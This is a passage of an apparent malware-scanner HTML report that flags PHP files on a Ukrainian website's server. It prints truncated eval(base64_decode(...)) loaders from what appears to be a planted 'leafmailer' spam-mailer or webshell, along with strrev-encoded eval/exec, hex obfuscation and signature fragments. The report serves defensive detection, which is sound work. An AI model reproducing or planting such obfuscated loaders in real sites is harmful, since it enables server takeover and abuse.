</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_103").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/qqacr.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:58:21</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:58:21</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_104" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_104").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/zvywl.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 161.68 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 20:53:28</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 20:53:28</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_105" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1719</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cmd</span><span style="color: #007700">.</span><span style="color: #0000BB">exe</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_105").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/fztfp.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 216.49 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:44:03</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:44:03</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 20</span><br><table id="file_106" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICAgfQogICAgZWxzZSB7CiA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval (</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">"CnNlc3Npb25fc3RhcnQoKTsKZXJyb3JfcmVwb3J0aW5nKDApOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWVtb3J5X2xpbWl0IiwtMSk7CgokbGVhZlsndmVyc2lvbiddPSIyLjgiOwokbGVhZlsnd2Vic2l0ZSddPSJsZWFmbWFpbGVyLnB3IjsKCgokc2Vzc2lvbmNvZGUgPSBtZDUoX19GSUxFX18pOwppZighZW1wdHkoJHBhc3N3b3JkKSBhbmQgJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0gIT0gJHBhc3N3b3JkKXsKICAgIGlmIChpc3NldCgkX1JFUVVFU1RbJ3Bhc3MnXSkgYW5kICRfUkVRVUVTVFsncGFzcyddID09ICRwYXNzd29yZCkgewogICAgICAgICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOwogICA...</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
